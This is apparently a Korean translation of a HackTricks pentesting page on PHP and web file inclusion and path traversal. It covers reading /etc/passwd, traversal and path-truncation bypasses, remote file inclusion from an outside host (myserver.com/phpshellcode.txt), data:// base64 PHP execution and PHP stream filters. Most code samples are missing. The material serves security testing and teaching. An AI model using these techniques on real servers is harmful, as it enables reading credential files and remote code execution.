File Inclusion/Path traversal
Last updated
Last updated
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
경험이 풍부한 해커 및 버그 바운티 헌터와 소통하기 위해 HackenProof Discord 서버에 참여하세요!
해킹 통찰력 해킹의 스릴과 도전에 대해 깊이 있는 콘텐츠에 참여하세요.
실시간 해킹 뉴스 실시간 뉴스와 통찰력을 통해 빠르게 변화하는 해킹 세계의 최신 정보를 유지하세요.
최신 공지사항 새로운 버그 바운티 출시 및 중요한 플랫폼 업데이트에 대한 정보를 유지하세요.
오늘 Discord에 참여하여 최고의 해커들과 협업을 시작하세요!
원격 파일 포함 (RFI): 파일이 원격 서버에서 로드됩니다 (최고: 코드를 작성하면 서버가 이를 실행합니다). PHP에서는 기본적으로 비활성화되어 있습니다 (allow_url_include). 로컬 파일 포함 (LFI): 서버가 로컬 파일을 로드합니다.
사용자가 서버가 로드할 파일을 어떤 방식으로든 제어할 수 있을 때 취약점이 발생합니다.
취약한 PHP 함수: require, require_once, include, include_once
이 취약점을 악용하기 위한 흥미로운 도구: https://github.com/kurobeats/fimap
여러 *nix LFI 목록을 혼합하고 더 많은 경로를 추가하여 이 목록을 만들었습니다:
/
를 \
로 변경해 보세요.
../../../../../
를 추가해 보세요.
파일 /etc/password를 찾기 위해 여러 기술을 사용하는 목록은 여기에서 찾을 수 있습니다.
다양한 단어 목록의 병합:
/
를 \
로 변경해 보세요.
C:/
를 제거하고 ../../../../../
를 추가해 보세요.
파일 /boot.ini를 찾기 위해 여러 기술을 사용하는 목록은 여기에서 찾을 수 있습니다.
리눅스의 LFI 목록을 확인하세요.
모든 예시는 로컬 파일 포함(Local File Inclusion)을 위한 것이지만 원격 파일 포함(Remote File Inclusion)에도 적용될 수 있습니다 (페이지=http://myserver.com/phpshellcode.txt\.
제공된 문자열의 끝에 더 많은 문자를 추가하는 것을 우회합니다 (우회: $_GET['param']."php")
이것은 PHP 5.4부터 해결되었습니다.
이중 URL 인코딩(및 기타)을 포함한 비표준 인코딩을 사용할 수 있습니다:
아마도 백엔드가 폴더 경로를 확인하고 있습니다:
서버의 파일 시스템은 특정 기술을 사용하여 파일뿐만 아니라 디렉토리를 식별하기 위해 재귀적으로 탐색할 수 있습니다. 이 과정은 디렉토리 깊이를 결정하고 특정 폴더의 존재를 탐색하는 것을 포함합니다. 아래는 이를 달성하기 위한 자세한 방법입니다:
Determine Directory Depth: 현재 디렉토리의 깊이를 확인하려면 /etc/passwd
파일을 성공적으로 가져옵니다(서버가 Linux 기반인 경우 적용). 예시 URL은 다음과 같이 구조화되어 깊이가 3임을 나타낼 수 있습니다:
폴더 탐색: 의심되는 폴더의 이름(예: private
)을 URL에 추가한 다음 /etc/passwd
로 돌아갑니다. 추가 디렉토리 수준은 깊이를 하나 증가시켜야 합니다:
결과 해석: 서버의 응답은 폴더의 존재 여부를 나타냅니다:
오류 / 출력 없음: private
폴더는 지정된 위치에 존재하지 않을 가능성이 높습니다.
/etc/passwd
의 내용: private
폴더의 존재가 확인되었습니다.
재귀 탐색: 발견된 폴더는 동일한 기술이나 전통적인 로컬 파일 포함(LFI) 방법을 사용하여 하위 디렉토리나 파일을 추가로 조사할 수 있습니다.
파일 시스템의 다른 위치에서 디렉토리를 탐색하려면 페이로드를 적절히 조정하십시오. 예를 들어, /var/www/
에 private
디렉토리가 있는지 확인하려면(현재 디렉토리가 깊이 3에 있다고 가정) 다음을 사용하십시오:
경로 잘림은 웹 애플리케이션에서 파일 경로를 조작하는 데 사용되는 방법입니다. 이는 종종 특정 보안 조치를 우회하여 제한된 파일에 접근하는 데 사용됩니다. 목표는 보안 조치에 의해 변경된 후에도 여전히 원하는 파일을 가리키는 파일 경로를 만드는 것입니다.
PHP에서는 파일 시스템의 특성으로 인해 파일 경로의 다양한 표현이 동등하게 간주될 수 있습니다. 예를 들어:
/etc/passwd
, /etc//passwd
, /etc/./passwd
, 및 /etc/passwd/
는 모두 동일한 경로로 처리됩니다.
마지막 6자가 passwd
일 때, /
를 추가해도(passwd/
) 대상 파일은 변경되지 않습니다.
마찬가지로, 파일 경로에 .php
가 추가될 경우(shellcode.php
와 같이), 끝에 /.
을 추가해도 접근하는 파일은 변경되지 않습니다.
제공된 예시는 경로 잘림을 사용하여 /etc/passwd
에 접근하는 방법을 보여줍니다. 이는 민감한 내용(사용자 계정 정보)으로 인해 일반적인 대상입니다:
이러한 시나리오에서는 필요한 탐색 횟수가 약 2027회일 수 있지만, 이 숫자는 서버의 구성에 따라 달라질 수 있습니다.
점 세그먼트 및 추가 문자 사용: 탐색 시퀀스(../
)와 추가 점 세그먼트 및 문자를 결합하여 파일 시스템을 탐색할 수 있으며, 서버에 의해 추가된 문자열을 효과적으로 무시할 수 있습니다.
필요한 탐색 횟수 결정: 시행착오를 통해 루트 디렉토리로 탐색하고 /etc/passwd
로 이동하는 데 필요한 정확한 ../
시퀀스 수를 찾을 수 있으며, 이때 추가된 문자열(예: .php
)은 중화되지만 원하는 경로(/etc/passwd
)는 그대로 유지됩니다.
가짜 디렉토리로 시작: 존재하지 않는 디렉토리(예: a/
)로 경로를 시작하는 것이 일반적인 관행입니다. 이 기술은 예방 조치로 사용되거나 서버의 경로 파싱 논리 요구 사항을 충족하기 위해 사용됩니다.
경로 단축 기술을 사용할 때는 서버의 경로 파싱 동작 및 파일 시스템 구조를 이해하는 것이 중요합니다. 각 시나리오는 다른 접근 방식을 요구할 수 있으며, 가장 효과적인 방법을 찾기 위해 테스트가 종종 필요합니다.
이 취약점은 PHP 5.3에서 수정되었습니다.
php에서는 기본적으로 비활성화되어 있습니다. **allow_url_include
**는 Off입니다. 작동하려면 On이어야 하며, 이 경우 서버에서 PHP 파일을 포함하고 RCE를 얻을 수 있습니다:
만약 어떤 이유로 **allow_url_include
**가 On이고, PHP가 외부 웹페이지에 대한 접근을 filtering하고 있다면, 이 포스트에 따르면, 예를 들어 base64로 인코딩된 PHP 코드를 디코드하고 RCE를 얻기 위해 데이터 프로토콜을 사용할 수 있습니다:
이전 코드에서 최종 +.txt
는 공격자가 .txt
로 끝나는 문자열이 필요했기 때문에 추가되었습니다. 그래서 문자열은 그것으로 끝나고 b64 디코드 후 그 부분은 단지 쓰레기를 반환하며 실제 PHP 코드가 포함됩니다(따라서 실행됩니다).
또 다른 예시 php://
프로토콜을 사용하지 않는 것은 다음과 같습니다:
파이썬에서 다음과 같은 코드에서:
사용자가 **file_name
**에 절대 경로를 전달하면, 이전 경로는 단순히 제거됩니다:
It is the intended behaviour according to the docs:
만약 구성 요소가 절대 경로라면, 모든 이전 구성 요소는 버려지고 절대 경로 구성 요소에서부터 결합이 계속됩니다.
Java에서 Path Traversal이 있는 경우 파일 대신 디렉토리를 요청하면 디렉토리 목록이 반환됩니다. 다른 언어에서는 이런 일이 발생하지 않을 것입니다 (내가 아는 한).
다음은 로컬 파일 포함 (LFI) 취약점에 취약할 수 있는 상위 25개 매개변수 목록입니다 (출처: link):
PHP 필터는 데이터가 읽히거나 쓰이기 전에 기본 수정 작업을 수행할 수 있게 해줍니다. 필터는 5가지 범주로 나눌 수 있습니다:
string.rot13
string.toupper
string.tolower
string.strip_tags
: 데이터에서 태그를 제거합니다 (모든 "<"와 ">" 문자 사이의 내용)
이 필터는 현대 PHP 버전에서 사라졌습니다.
convert.base64-encode
convert.base64-decode
convert.quoted-printable-encode
convert.quoted-printable-decode
convert.iconv.*
: 다른 인코딩으로 변환합니다(convert.iconv.<input_enc>.<output_enc>
). 지원되는 모든 인코딩 목록을 얻으려면 콘솔에서 iconv -l
을 실행하세요.
convert.iconv.*
변환 필터를 악용하면 임의의 텍스트를 생성할 수 있으며, 이는 임의의 텍스트를 작성하거나 include 프로세스와 같은 기능을 만들 때 유용할 수 있습니다. 더 많은 정보는 LFI2RCE via php filters를 확인하세요.
zlib.deflate
: 콘텐츠를 압축합니다 (많은 정보를 유출할 때 유용함)
zlib.inflate
: 데이터를 압축 해제합니다.
mcrypt.*
: 사용 중단됨
mdecrypt.*
: 사용 중단됨
기타 필터
php에서 var_dump(stream_get_filters());
를 실행하면 몇 가지 예상치 못한 필터를 찾을 수 있습니다:
consumed
dechunk
: HTTP 청크 인코딩을 역전시킵니다.
convert.*